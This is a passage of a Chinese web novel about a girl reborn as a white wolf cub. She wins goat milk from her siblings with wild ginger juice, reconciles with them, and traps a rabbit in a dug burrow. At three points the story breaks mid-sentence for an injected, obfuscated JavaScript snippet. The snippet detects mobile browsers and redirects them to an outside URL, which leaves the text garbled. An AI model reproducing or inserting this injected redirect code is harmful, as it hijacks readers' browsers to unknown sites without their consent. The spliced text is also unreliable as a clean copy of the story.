“棉棉,阿爸给你把羊抓回来了!” 柴棉棉情不自禁走过去,仰起小脑袋看他和他肩膀上的羊,仿佛那是一座支撑她世界的高山,有他在,天就永远不会塌。 尖爪跟两位伙伴道了谢,放下山羊,将脚边的白毛幼崽扒拉到一边:“山羊性子凶,别踢到你。” 他一只手紧紧握住山羊的弯角,另一只手用力将山羊按倒,示意明眸:“来,试试。” 明眸捧起白毛幼崽,将她的脑袋凑到山羊饱胀的乳|房下面:“棉棉,喝吧。” 柴棉棉看看明眸,又看看尖爪,他们都是一脸期待,又带着一丝丝紧张:“棉棉,喝呀。” 柴棉棉抬起脑袋,张嘴含住乳|头用力嘬了一口,乳汁的奶香瞬间溢满整个口腔,她甚至还没意识到就已经咽下肚。 “棉棉,真棒!” “老祭司说得没错,抓一头母羊回来,棉棉果然就肯喝奶了!” 耳边是明眸尖爪欢欣鼓舞的声音,柴棉棉迫不及待咽下第二口,香甜的奶汁顺着食道滑进肚中,填满了辘辘饥肠,喜悦和满足从心底最深处油然生出,脑子里仿佛在放烟花,为这生命之泉唱起最真诚的赞歌。 柴棉棉不禁热泪盈眶。 原来她一点儿都不想放弃自己,原来她发自内心地想要活下去! 她第一次如此强烈地发现,她是想活的!!想活的!!! 柴棉棉大口地、贪婪地吞咽着乳汁,直到肚子饱胀滚圆,像一个即将吹破的窄口气球。 明眸瞪大眼睛,连忙将白毛幼崽从山羊肚皮上拔下来:“够了够了,不能再吃了。” 柴棉棉舔干净嘴角,冲明眸呜呜叫:“阿妈。” 又转头冲尖爪呜呜叫:“阿爸。” 明眸一愣,看见尖爪:“你听见了吗?” 尖爪喜出望外,带着隐隐的兴奋:“听见了,棉棉叫我阿爸。” 明眸更是开心快要掉眼泪:“棉棉叫我阿妈!” “黑黑灰灰都还只会嗷呜乱叫呢,棉棉最小,却已经知道叫阿爸阿妈了。”明眸举起白毛幼崽小小的身子,轻轻亲了亲她鼓胀如气球的圆肚皮,看向尖爪的琥珀色眸子闪烁着惊讶又兴奋的光,“棉棉竟然是三个崽里最聪明的。” 尖爪一双丹凤眼里也都是笑,若有所思道:“或许我们担忧的问题并不存在,棉棉有她另一条道路要走。” 明眸深感赞同。 柴棉棉没有太明白他们说的是什么,吃饱后,幼崽的本能作祟,她困意上头,在明眸手中就睡着了。 第二天早上,柴棉棉在黑黑灰灰嗷呜着要喝奶的叫声中醒来。 她踩着清晨的阳光走出洞穴,就看见昨晚阿爸逮回来的母山羊被绳子拴在洞穴边的大石头上。 它体型中等,通体洁白,脑袋上有一对向后弯曲的小羊角,下巴处有一小撮胡子,正埋首在草堆中吃草。 奇怪,这草堆哪儿来的? 都堆得有山羊两个那么高了,一把镰刀一个筐,上山也得割大半天才凑得出吧? 柴棉棉想不明白,迈着四条腿吧嗒吧嗒地跑回洞穴,冲明眸呜呜叫。 连比带画,明眸明白了她的意思:“哦,那是我昨天晚上问采集队,队长给我的。” 昨天晚上? 昨天晚上阿爸逮羊回来不已经很晚了吗?阿妈又去打扰人家采集队成员,给她的羊准备草料? 不知道为什么,柴棉棉心里很开心,有一种被放在心上周到照顾的小幸福。 她喜滋滋地,迈着四条腿欢快地蹦跶出去,蹲在旁边看羊吃草看得津津有味。 羊低头,舌头卷起一把草,抬头,嚼啊嚼啊嚼;低头,卷草,抬头,嚼……低头,卷草,抬头,呸一口吐旁边,低头…… 等等?吐旁边?羊吃到什么了? 柴棉棉走过去,好奇地扒拉它吐在旁边的草,从一堆不知名的绿色叶子中翻出几块长得弯弯曲曲的黄色块茎。 咦?这不是野山姜吗? 和姜长得很相似,就是个头更小些,形状更丑些,看起来更不好吃些。 不仅可以代替姜当调味品,还是一味中药材,能够驱寒、治疗呕吐泄泻,还可以治疗跌打损伤、止血等,家里绝对用得到,很值得收集和收藏。 柴棉棉跑回洞穴,将喂完奶的明眸拉出来,两条前腿扒拉着野山姜,冲明眸嗷呜嗷呜叫:“阿妈,我要这个。” 明眸产崽之前在采集队待过很长一段时间,这种根茎她认识,无毒,就是辣辣的,还带着一股苦味,狼族没人爱吃,甚至羊都不爱吃。 她有些不解:“你要这个做什么?” 柴棉棉说话还很不利索,解释不清楚,只能撒娇:“就要就要!” 明眸琥珀色眸子流露出少许温柔的无奈:“好吧。” 她蹲下来,在草料堆里找了一些品相相对较好的,用兽皮包裹起来,放在白毛幼崽常睡的角落里。 “棉棉,你该喝奶了。” 明眸拍了拍山羊的脖子,山羊很温顺地卧下来,柴棉棉走过去,趴在它肚皮下喝奶。 突然一股大力袭来,柴棉棉被硬生生挤开,一颗胖乎乎的黑脑袋出现在眼前,占据了她原本的位置。 不是,怎么又是你? 黑黑,你有病吧?! 刚刚你在阿妈那里不是已经喝饱奶了吗?怎么又来跟我抢母羊的奶喝?! 柴棉棉气到过去打他,结果又被灰灰揍了。 她打不过灰灰,泪眼汪汪跟明眸告状:“阿妈,你看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179530|180883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们!” 明眸也很为难,她看看黑黑灰灰,又看向棉棉:“要不,你就让黑黑灰灰先喝一口?他们刚喝了奶,肚子都是饱的,不会喝太多的。” 柴棉棉这次是真气哭了。 凭什么啊? 阿妈的奶她已经让给他们,不跟他们计较了。山羊是阿爸特地给她逮回来的,凭什么也要让给他们?! 阿妈,你偏心!! 明眸看着白毛幼崽委屈得直哭的模样,心里也不好受,但是棉棉打不过灰灰和黑黑,那食物就是应该要先给灰灰黑黑吃一口的。 这时黑黑灰灰已经轮流尝完了母羊奶。明眸预料得很准确,对狼崽来说,羊奶没有狼奶好喝,再加上两只小崽子已经吃饱了,所以嘬了一两口就不吃了。 明眸赶紧说:“棉棉,你可以喝奶了,快去快去。” 柴棉棉不开心地走过去,一边喝奶一边气鼓鼓地想,山羊是阿爸特地给她逮回来的,是她的食物,凭什么让黑黑灰灰先喝一口?她一口也不想让! 这件事绝不能就这么算了。 阿妈不帮她,她就自己想办法。 柴棉棉喝饱了奶,先趴在自己的小窝里睡了一觉缓解幼崽本能的困意,然后扒拉开兽皮包裹,从里面取出一块野山姜,叼到洞穴门口,找了个比较干净的地方放下。 然后捡来几块碎石子,有棱角一面的朝下,平整的一面朝上,放在野山姜上面,四只爪爪轮流踩踩踩! 其实她的爪子肉还很嫩,踩上去还有一点疼。 但是无所谓,人在报复的时候是不嫌弃麻烦和辛苦的! 明眸从棉棉叼出野山姜跑出去就在注意她了,那么小的崽四处乱跑,她不可能不关注。 她看见棉棉花了很长一段时间耐心地寻找碎石子,又看见她借助碎石子将野山姜踩得稀烂,踩出好多汁水,不明白她想干什么? 这个时候,又该给幼崽们喂奶了。 黑黑灰灰两只小崽子在她膝边跳来叫去,明眸烦躁又无奈地化成狼形态,卧下来喂奶。 喂完奶,明眸又化成人形态,去威慑母山羊给棉棉喂奶。 山羊卧下之后,棉棉却不着急喝,而是走到踩碎的野山姜那里,抬起右前足,在里面使劲蹭了蹭,然后三条腿过来一瘸一拐地过来,将右前足上的野山姜汁均匀地涂在山羊的肚皮上。 她走到黑黑灰灰面前,呜呜呜冲他们叫,邀请他们先喝奶。 两只还没长脑仁的小崽子当然不知道棉棉做了什么,非常愉快地过来了。 黑黑迈着自信张扬的步伐走到山羊肚皮下面,仰起脑袋嗷呜一口含住乳|头,然后动作一顿。 “嗷呜嗷呜——”他脸色大变,张大嘴惨叫着四处乱跑,活像有人正在嘴里狠狠揍他。 灰灰看着黑黑跑来跑去的滑稽模样,懵头懵脑地走到山羊肚皮下面,仰起脑袋含住乳|头,顿时脸色大变。 “嗷呜嗷呜——”洞穴外面又多了一只张大嘴惨叫着四处乱跑的幼崽。 明眸捂住额头,偏过脸不忍直视。 柴棉棉得意地扬起了小下巴。 5. 第 5 章 这法子管用,柴棉棉如法炮制了两三回。 之后她喝山羊的奶,黑黑灰灰再也没有讨嫌地凑上来了。 在羊奶的哺乳下,柴棉棉一点一点长大,乳牙中的犬齿和门齿都长出来了,四只爪爪也变锋利了,体型也变得有人的小臂那么长。 不过她还是比黑黑灰灰小了两圈,在三兄妹里属于最弱的弱鸡。 这天,阿爸出去打猎,带了好多好多猎物回来,两个大人吃完饭,从猎物身上取出一块最鲜嫩的肉,撕成三根大小差不多相等的长条。 “来,黑黑,尝一尝。” 黑黑已经听得懂一些话了,也会呜呜叫阿爸阿妈。 见尖爪招手,他犹豫地走上去,低头嗅了嗅他手里的肉条,嗷呜一声吃进嘴里,咀嚼着。 尖爪见黑黑适应良好,便给灰灰也分了一根。 两只狼崽专心致志地吃着,连脸都在用力,吃得口水直往下淌。 尖爪冲柴棉棉招手:“棉棉,你也来试一试。” 柴棉棉有些犹豫。 吃生肉啊? 虽说她知道自己现在是狼,理应吃生肉,但总感觉有些不适应。 尖爪以为她胆子小,颇有耐心地等着她。 柴棉棉犹豫了一会儿,上前叼住肉条,尝试吃起来。 没有什么味道,只觉得很新鲜,身体告诉她很喜欢,这是最美味最能补充能量的食物,柴棉棉完全无法抵抗这种本能,发自内心地喜欢起来。 不过这肉再嫩,对柴棉棉来说还是有点硬了,她艰难地咀嚼着,差点儿跟黑黑灰灰一样嘴包不住口水。 尖爪看得好笑,忍不住将白毛崽崽抱到怀里摸摸,声音不自觉夹起来:“我家棉棉这么讲究啊,为了不把口水滴到地上,要仰着头吃肉?” 柴棉棉推开他的手,有些小脾气:“阿爸,不要打扰我吃肉!” 尖爪更是喜欢得不行,脸埋进她的脊背毛毛里蹭了好几下。 明眸眉眼弯弯地笑着,坐在旁边撕肉条,黑黑灰灰的撕得粗些,棉棉的就撕得细碎些。 然后分作三堆,放进三个饭盘里,招呼三个崽过来吃。 黑黑灰灰已经体验过肉的美味,冲过去就是狼吞虎咽。柴棉棉就不一样了,她先照例翻找出野山姜,榨汁,然后拌进肉里,才慢条斯理地吃起来。 尖爪看她小动作一套一套的,不禁问明眸:“棉棉干什么呢?” 明眸无奈又好笑地说:“怕黑黑灰灰抢她的肉吃,就往肉里拌这种又辣又苦的汁子。” 尖爪疑惑:“那能好吃吗?” 明眸轻叹:“没办法,棉棉打不过灰灰,更打不过黑黑,只能这样。” 尖爪也跟着叹气。 确实是没办法,同窝幼崽通过打架确定强弱次序并以此确定吃饭的顺序是狼族的本能,甚至整个部落都是这样,狩猎队的吃饭顺序是非常靠前的。 棉棉必须认识到这一点,长大了才能在部落更好地生存。 不过…往肉里拌苦辣汁子倒也不失为一种好办法。无论棉棉用了什么手段,她护住了自己的食物,那食物就属于她。 两人说着话,黑黑灰灰两只囫囵吞枣的小家伙已经干完了饭,开始不出预料地觊觎棉棉的饭。 他们一前一后走到棉棉的饭盆前,凑过去低头一嗅,顿时脸色就变了。 辛辣的味道扑鼻而来,可是肉又特别香特别勾崽,他们那表情,就好像棉棉往美味的饭里拌了一坨屎,让崽想吃又吃不成,叫崽气得牙痒痒。 柴棉棉得意扬扬,在他们面前叼起一口,悠闲地吃了,又叼起一口,慢条斯理地吃了……动作表情非常拉仇恨。 黑黑终于受不了了。 他愤而转头,跑到棉棉常趴的窝旁边,嗅出存放野山姜的兽皮包裹,叼出来就要扔到外面去。 柴棉棉慌了,冲过去阻拦他,被他一脑袋顶得翻了个跟头。 “放开我的姜!不许碰我的姜!” 柴棉棉爬起来,嗷呜嗷呜叫着往他身上扑,又被他一脚踹飞。 她摔在地上,顿时鼻梁骨一酸,眼泪就下来了,委屈万分。 “为什么要抢我的姜?为什么要抢我的饭?” 她哇哇大哭,伤心不已。 “我已经一退再退了,喝不如狼奶的羊奶,吃苦辣姜汁拌过的肉,为什么还要欺负我?为什么还要欺负我?!” 明眸尖爪同时脸色大变。 明眸一个箭步冲过去,夺下黑黑嘴里的兽皮包裹。 尖爪将地上的白毛崽崽抱起来,哄道:“不哭不哭,棉棉不哭……” 柴棉棉却哭得更厉害了,眼泪像泉水一样从她金色的眼眸中汩汩而出,犹如湖水决堤,顷刻间便将脸上的毛毛打湿得一塌糊涂。 她拿肉垫揍他、打他:“你们都偏心!黑黑灰灰欺负我,你们都不管!!你们偏心!!!” 尖爪没听懂她的哇哇叫声,但知道她此刻非常伤心,连忙将她的小身子托在手臂上,一边小幅度晃荡一边轻轻搓揉她的脊背:“棉棉没事了,你的宝贝没有被丢掉,阿妈给你抢回来了,你看。” 那边明眸正在很严肃地教训黑黑:“不可以欺负棉棉。” 黑黑委屈地呜呜直叫。 他不明白,他抢棉棉的饭阿妈不管,揍棉棉阿妈也不管,为什么他丢一包讨崽厌的东西,阿妈就不允许呢? 明眸很认真地教育他:“黑黑,你比棉棉强壮,可以先吃饭,不代表你可以随便欺负棉棉,相反,你应该保护棉棉,棉棉是你的妹妹,你们是同窝幼崽有兄妹情谊,到了外面更要团结,才更能抵抗外面的风险,不会被外面的兽人欺负。” 黑黑半懂不懂。 明眸知道他还小,不能完全理解其中的道理,便虎着脸要求道:“现在,跟阿妈去给棉棉道歉,并且保证以后再也不乱扔她的东西了。” 黑黑呜呜的表示不乐意。 明眸龇牙,从喉咙里发出威胁的低吼声。 黑黑两耳朵一塌,尾巴夹在两后腿之间,低下头,怂了。 他在阿妈的陪同下,臊眉耷眼地走到柴棉棉面前,低下头呜呜叫:“棉棉,我错了,我以后再也不乱扔你的东西了。” 柴棉棉把脸埋在阿爸的手臂上,啜泣着,显然怒气没那么容易消。 黑黑看了看阿妈,阿妈板着一张脸,他犹豫了一下,立起来两只前足趴到阿爸膝上,试探着伸出舌头,去舔白毛崽的脑袋瓜子。 狼的身体构造,两只耳朵中间这一块儿被舔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179531|180883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毛是很舒服的,包括后背这一块儿,被舔的时候下意识就觉得安心、舒适。 柴棉棉身体不自觉放松少许,耳朵也垂下了,尾巴轻轻摆动,像一滩软泥瘫在阿爸手臂上。 “棉棉。”阿爸轻拍她的屁股,语含催促。 柴棉棉不情愿地抬起脸,慢吞吞转头,舔了黑黑的脖子一下。 “灰灰也过来。”阿爸招手。 于是柴棉棉跟灰灰又互相客气友好地表达了一下你舔我我舔你的礼节。 尖爪最后总结道:“你们三个是兄妹。妹妹要尊敬哥哥,接纳哥哥,把哥哥当家人;哥哥要保护妹妹,爱护妹妹,不可以肆意欺负妹妹。明白吗?” 三只崽不情不愿地应了。 尖爪显然不打算让他们轻易糊弄过去。 他先看向黑黑,黑黑趴在最远的地方,一身毛全黑,只有四个爪爪是白的,黄澄澄的眼睛流露出少许怂乖。 “黑黑,你说,你以后吃完了自己的饭,还想吃妹妹的饭,你应该怎么做?” 黑黑呜呜了几声。 尖爪满意点头:“现在做给我看。” 黑黑走到柴棉棉面前,呜呜了几声:“棉棉,你的饭能给我尝尝吗?” “棉棉?” 柴棉棉看着阿爸期待的目光,顿了顿,叼起饭盆里的肉,扔到平常喝水的水盆里,抬起右前足伸进去霍愣霍愣,冲黑黑呜呜叫:“你吃。” 黑黑一脸怀疑,带着吃屎的悲壮心情,嘴筒子伸进去,叼起一小块肉咀嚼。 咦? 咦咦? 咦咦咦? 黑黑的眼睛逐渐亮起来,居然不难吃了,嘴里痛痛的感觉吃肉,居然比直接吃肉更加好吃。 他将嘴里的肉咽下肚,凑近水盆正要痛快大吃一场。 咳咳~是阿爸威严的提醒。 黑黑两只耳朵垂下去,看着水盆里的肉口水滂沱:“谢谢棉棉,你吃吧,这是你的饭,我不吃了。” 尖爪满意点头,又看向灰灰。 灰灰蹲在稍微近些的地方,全身灰绒绒的,只有四只爪爪是白色,一双琥珀色的眼睛呈现出近乎透明的琉璃质感,看起来竟然比黑黑更不起眼,更容易隐入环境。 她体型比黑黑略小些,脑子可能长得比较慢,没有黑黑那种聪明劲儿,看着黑黑一会儿满脸嫌弃一会儿口水滂沱,满脸懵懂。 “灰灰,你也做一遍。” 灰灰学着黑黑的样子礼貌问询,得到棉棉的允许后,从水盆里叼起一块肉嚼了嚼。 灰灰:“!” 灰灰:“!!!” 她眼巴巴地望着柴棉棉,吸溜一下口水:“棉棉,你的肉好好吃,我能再吃一块儿吗?” 那双像阿妈的琥珀色眼眸盛满了渴望,实在太有杀伤力,柴棉棉没忍住,从水盆里又叼出一块肉给她。 灰灰刚要咧开嘴乐,耳边便传来威胁般的稚嫩低吼。 转头一看,是黑黑。 灰灰无可奈何,委屈巴巴分了一大半给黑黑。 尖爪十分满意,对三只崽说:“你们做得很好,阿爸决定奖励你们。” 顿时,三只崽的眼睛全亮了起来。 什么奖励? 快说快说! 6. 第 6 章 阿爸卖了个关子,说奖励要准备一段时间,让大家先等着。 三只崽已经能吃肉了,所以阿妈逐渐减少了哺乳的比例,改为撕肉条喂崽。 照例是分成三堆,黑黑灰灰的粗些,棉棉的细碎些。 结果棉棉刚吃了两口肉,那两只崽就跑过来,眼巴巴地望着她盆里的肉流口水。 棉棉:…… 棉棉从盆里叼出两块肉,分别放在两只崽面前。 黑黑吃了,不满意地呜呜叫:“不是这种,要昨天那种!” 灰灰使劲点头。 棉棉:…… 柴棉棉超级不乐意的。 凭什么啊? 她又不是他们的厨子,凭什么专门给他们做饭? 从盆里捡两块肉给他们,已经是看在阿爸的面子上了好不好? 或许是看出了柴棉棉的不乐意,黑黑脸上竟出现了一两秒纠结。 揍又不能揍,抢也不能抢,阿爸会揍他的,那怎么办呢? 黑黑灵光一闪,跑回自己的饭盆边,叼了好大一块肉过来,放在棉棉面前:“给你。” 柴棉棉偏过脸。 不要! 这么多肉,她吃不下,要了没用! 黑黑急了,围着棉棉上蹿下跳跑来跑去,四只爪爪模仿棉棉踩来踩去:“我帮你干活!” 柴棉棉看看阿妈,犹豫了一下,点头。 她从自己窝里叼出兽皮包裹,打开挨个嗅了嗅,找到最嫩的两块野山姜,放在干净的盆里,然后又叼出另一个兽皮包裹,里面是她拜托阿妈洗干净的碎石子,个个大小适中上平下尖,是榨汁的好帮手。 黑黑迫不及待地要跳进盆里,被棉棉拦住了:“先洗爪。” 有阿妈舔毛,黑黑并不脏,但阿妈舔哪儿都不会舔爪,所以黑黑洗了两盆水才将爪洗干净,然后被阿妈丢进盆里,开始勤勤恳恳地干活。 最初,他一脸严肃认真,可是踩着踩着,他就仿佛找了乐趣,四只爪爪欢快地踢踏起来,满脸的兴高采烈。 看得灰灰一脸羡慕,竟冲棉棉呜呜叫:“我也想玩。” 柴棉棉额头黑线,你们真当是游戏了是吧? 她敷衍道:“下次下次,盆太小,装不下你俩。” 野山姜被踩得稀碎,扒拉开残渣,有汁水缓缓溢出来,现有条件下,到这种程度就已经很好了。 柴棉棉叼出黑黑灰灰盆里的肉块,丢进姜汁石盆里,示意两个崽照做,然后上爪搅和,使肉和汁水充分混合。 她示意两只崽:“吃吧。” 黑黑呜呜:“不用丢水盆里吗?” 柴棉棉摇头。 不用,特地挑的最嫩的野山姜,总共只有两块,出汁率也不高,拌盆里那一坨小山似的肉,味道很淡。 黑黑不太确定地叼起一块肉尝了尝,随即尾巴欢快地摇起来,嗷呜一声埋进饭盆里大吃特吃。 灰灰见状,也大着胆子凑上去,吃得尾巴大摇特摇。 柴棉棉笑了笑,转身准备回到自己的饭盆前吃饭。 “呜呜呜。” 她惊讶回头,黑黑竟然跑了过来,对着她呜呜叫,大意就是邀请她一起过去吃饭。 柴棉棉:“我吗?” 黑黑点头:“说好了的,你帮我做嘴里会痛痛的肉,我给你干活,还给你肉吃!” 黑黑还不会用狼叫表达这么复杂的意思,柴棉棉却出乎意料地从他黑乎乎的脸上精准领会到了。 柴棉棉有一点不适应。 毕竟以前她从未被家庭成员真正接纳过。 “棉棉,快去啊!” 耳边是阿妈催促的声音,柴棉棉抬眼,看了看阿妈琥珀色眸子中盛满笑意的脸庞,踌躇地跟随黑黑走到饭盆旁边。 黑黑抬起前爪,把闷头干饭的灰灰往旁边推了推,推出好大一块地方。 柴棉棉刚走进去,黑黑就挤到了旁边,熟悉的巨力,熟悉的圆胖黑脑袋,但这次,却有她的位置。 左边是黑黑暖烘烘毛绒绒的身子,右边是灰灰暖烘烘毛绒绒的身子,柴棉棉被夹在中间,不知道怎么的,竟然有一点想哭。 她努力将那一点泪意压下去,低头将一块肉卷进嘴里咀嚼。 新鲜的,嫩嫩的,辣辣的,没什么腥味,既有味觉上的刺激,也有身体上的满足,确实比单纯吃生肉好吃。 也算是一道“生腌”了。 柴棉棉心里浮现出一点小确幸,快乐地晃了晃脑袋。 吃完饭,三只崽蹲在门口看阿妈洗饭盆,因为要做姜汁拌肉,家里的盆都被柴棉棉祸祸完了,还有那一包榨汁用的碎石子,柴棉棉没有手,也只能拜托阿妈帮忙洗干净晒干再收好。 柴棉棉:“阿妈阿妈,我们什么时候能变成人啊?” “呜呜什么呢?听不懂。”明眸洗干净了手,将蹲在旁边的白毛崽崽抱到腿上,一边蹭她的毛擦手,一边左摸右摸上摸下摸。 柴棉棉有些害羞,挣扎道:“阿妈,不要这样。” 明眸抓住她乱动的两只前爪,在她的小脑袋上一顿猛亲:“我家棉棉真可爱。” 柴棉棉大窘:“阿妈,你去亲黑黑和灰灰嘛!” 明眸玩够了白毛崽,果然将黑毛崽和灰毛崽轮流抱到腿上亲,柴棉棉被放下来,立刻撒丫子跑回自己的窝,笨拙地给自己舔毛,试图清理掉阿妈擦遍她全身的水汽。 不过她的柔软度好像不太够,舔不到自己的脊背那一块儿。 正发愁,黑黑呜呜叫着跑来了:“棉棉,我帮你舔!” 不等柴棉棉拒绝,他便带着灰灰两个,像从天而降的两座山,压到柴棉棉身上。 黑灰白三只毛崽挤成一团,你中有我我中有你,柴棉棉在其中奋力挣扎,呜呜大喊:“放开我!” 然而并没有什么用,黑黑灰灰按住她,将她的脊背毛来来回回舔了三遍,差点儿给她舔秃了。 柴棉棉不得不回礼,心里流着宽面条泪给黑黑灰灰舔脸颊舔脖子。 从此以后,黑黑灰灰好像真把她当成了妹妹和同伴,有时候互相打闹着从她旁边跑过去,会突然停下来,邀请她一起来玩。 柴棉棉每次都摇头拒绝,她不是爱打闹的性子,呆在角落安静地看着会让她感觉更舒服。 三只崽彻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179532|180883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底断奶,主食生肉,体型就长得更快了。 尤其是最大只的黑黑,很快长到比阿妈手臂都长,立起来能抱住阿妈的大腿,脸颊贴着阿妈的小肚子撒娇。 这天上午,阿爸夜猎归来,手上提了三只五花大绑的灰兔子。 他扯断绳子,把活蹦乱跳的兔子往三只崽面前一扔:“这是你们今天的饭,抓不着,咬不死,就没饭吃。” 三只崽面面相觑。 最强壮的黑黑当仁不让,呜呜叫着迈步上前:“我先来!” 兔子很警觉的,被松绑扔到地上后便迅速跑了几步,两只竖起的耳朵抖动着,似乎全身都在戒备。 黑黑刚往它那边走了两步,兔子便蹿出去老远,和黑黑保持一个即使他飞扑也扑不到的距离。 接下来,大家就反复看到,黑黑靠近-兔子蹿走-黑黑飞快靠近-兔子飞快蹿走-黑黑疾速追逐-兔子疾速逃跑…… 无论黑黑用什么方法,或潜伏或猛追,反正他是一根兔毛都没摸着。 到最后,他累得趴在地上吐舌头直喘粗气,肚子还叫得震天响。 阿爸摇头总结:“黑黑,你这样的,到了外面捕猎,得把自己饿死。” 黑黑泪眼汪汪:“阿爸,我现在就好饿。” 阿爸十分冷酷无情地无视了他,换了第二只兔子:“灰灰,你来。” 灰灰仿佛天生就不太起眼,不知道是不是同为灰色的原因,兔子对她似乎没有那么警觉。 灰灰也很有耐心,匍匐在兔子远处,一动不动,等兔子的戒心下降一些,便从各个角度试探前进,看看哪个方向兔子的反应最小? 最后,她选取了一个最佳角度,脚垫悄无声息地落到地上,缓缓靠近兔子。 洞穴里一时间落针可闻,柴棉棉甚至不敢大口呼吸,怕惊扰了兔子。 一步,两步,三步……灰灰离兔子非常近了。 她静止片刻,突兀跃起,猛然飞扑,一把扑住了兔子! 柴棉棉差点儿欢呼出声! 然而灰灰按住了兔子,却有些无措,一时间不知道该从什么地方下口? 兔子在她爪下猛然挣动,翻身屈起后腿,使出绝杀技——兔兔蹬腿! “嗷嗷嗷——”灰灰惨叫着飞出去,瞬间从潜伏杀手变成了蠢萌二哈,而兔子早已逃走了。 阿爸脸色一变,冲过来抄起灰灰就将她全身揉捏检查一遍,然后松了口气:“还好,没有受伤。” 他化身吐槽选手:“灰灰,你这样的,到了外面捕猎,还没抓到猎物,自己就先因受伤而活活饿死了。” 灰灰挫败地跑到一边伤心去了。 洞穴里,肚子饥饿的咕噜声接二连三响起,黑黑忍不住呜呜请求:“阿爸,先吃饭吧。” 阿爸十分狠心地拒绝了他,板着脸说:“不行,今天不抓到兔子,谁也别想吃饭。” 他转过头,看向乖巧蹲在旁边的白毛崽:“棉棉,该你了。” 柴棉棉:“……啊?” 柴棉棉:“该我了啊?” 她看向几乎有她体型二分之一大的灰兔子,心虚地咽了一口口水。 7. 第 7 章 柴棉棉踌躇不前,心怀畏怯,大家都看到了。 黑黑忍不住呜呜:“阿爸,不要为难她了吧,我和灰灰都抓不到,她怎么可能抓到呢?” 灰灰猛点头。 尖爪没理他们,对白毛崽说:“棉棉,我们狼人生来就是猎手,以捕猎为生,棉棉,你也是一只狼,你天生就会捕猎,相信你自己,你可以做到。” 柴棉棉看着阿爸笃定的眼神,缓慢地点了下头。 她匍匐下去,尝试伏击野兔,但很快她遇到了和黑黑一样的问题,就是只要她往前迈出一步,兔子就仿佛听见了什么似的飞快往前蹿,她与兔子之间永远缩短不到起身飞扑的距离。 想也知道,即使她费尽心思扑住了野兔,以她比灰灰还小的体格,一定也会被兔子的逃生绝技踹飞。 该怎么办呢? 柴棉棉苦恼地舔了舔嘴巴。 她左右观察四周,家里真的很简陋。 一个四五米深的洞穴,没有窗户,采光只有上午的时候太阳从洞穴门口照进来,洞里大多数时候都十分昏暗,幸好狼有夜视能力,不然天天在家当睁眼瞎。 洞穴最深处,平铺了一张木板床,上面铺了一层干草,再上面铺了一层兽皮,算是最精致豪华的家具。 其余的,什么柜子桌子椅子统统没有,能找块木板或者石头垫地上再放东西,就已经算是很讲究了。 柴棉棉抬起右前足,看了看肉垫上沾着的泥土,忽然灵光一闪。 她观察、嗅闻、伸出尖锐的爪子轻轻刨地,在洞穴里找了一处泥土最松软的地方,开始向下打洞。 黑黑歪了歪脑袋,冲灰灰呜呜:“她在干什么?” 灰灰懵懂摇头。 明眸尖爪眼里则闪过一丝了然。 做陷阱啊。 棉棉不愧是三只崽里最聪明的崽,很会想办法,但即使挖了洞,想让兔子掉进洞里也不是一件容易的事哦。 然而柴棉棉想做的不只有这么简单,她往下刨了大概四十厘米,开始侧向打洞,刨出一条直径约为三十厘米、长度约为四十厘米的隧道,然后将隧道门口的坑墙推平,做成一个很缓的斜坡。 尖爪明眸有些看不懂了。 明眸看向伴侣:“棉棉做什么呢?” 尖爪摇头。 只见白毛崽从隧道里爬出来,抖出一身泥土,还呸了两声,她浑身脏兮兮地走到捆绑另外两只兔子的地方,张嘴从兔子身上咬下五六撮毛,还用爪爪戳了几颗兔屎,连屎带毛一起扔到隧道门口。 明眸恍然大悟:“我明白了。” 尖爪笑道:“我也明白了。” 柴棉棉做足了准备,扑到兔子面前呲牙,发出威胁的低吼声:“嗷呜——” 兔子吓得瞬间蹿出去老远。 柴棉棉撒开腿猛追,兔子被撵得狂跑,眼看它要撞上墙壁不得不转弯,她趁机向前猛蹿几步围追堵截,吓得兔子更加慌不择路。 “嗷呜——” “嗷呜嗷呜——” 幼狼的凶恶低吼在耳边咆哮,猎杀的身影越逼越近,兔子走投无路,一脑袋扎进了有熟悉气味的洞穴。 成功了! 柴棉棉眼睛一亮,连跑几步冲过去,按住兔子露在外面的肥嘟嘟屁股。 是的,这条隧道的长度柴棉棉特意设计过,刚好比兔子的身体短一截,兔子一脑袋扎到底,屁股也藏不进去。 尖爪看明白了,不由发自内心地拍手称赞:“我家棉棉真是一个天才!” 明眸着急:“棉棉快咬啊,兔子要钻进去了!” 柴棉棉白毛毛的小脸上露出几秒人性化的挣扎。 真的要咬吗? 可是兔子也会打洞,爪子下面的屁股越来越短,再犹豫下去,前面的努力就都白费了! 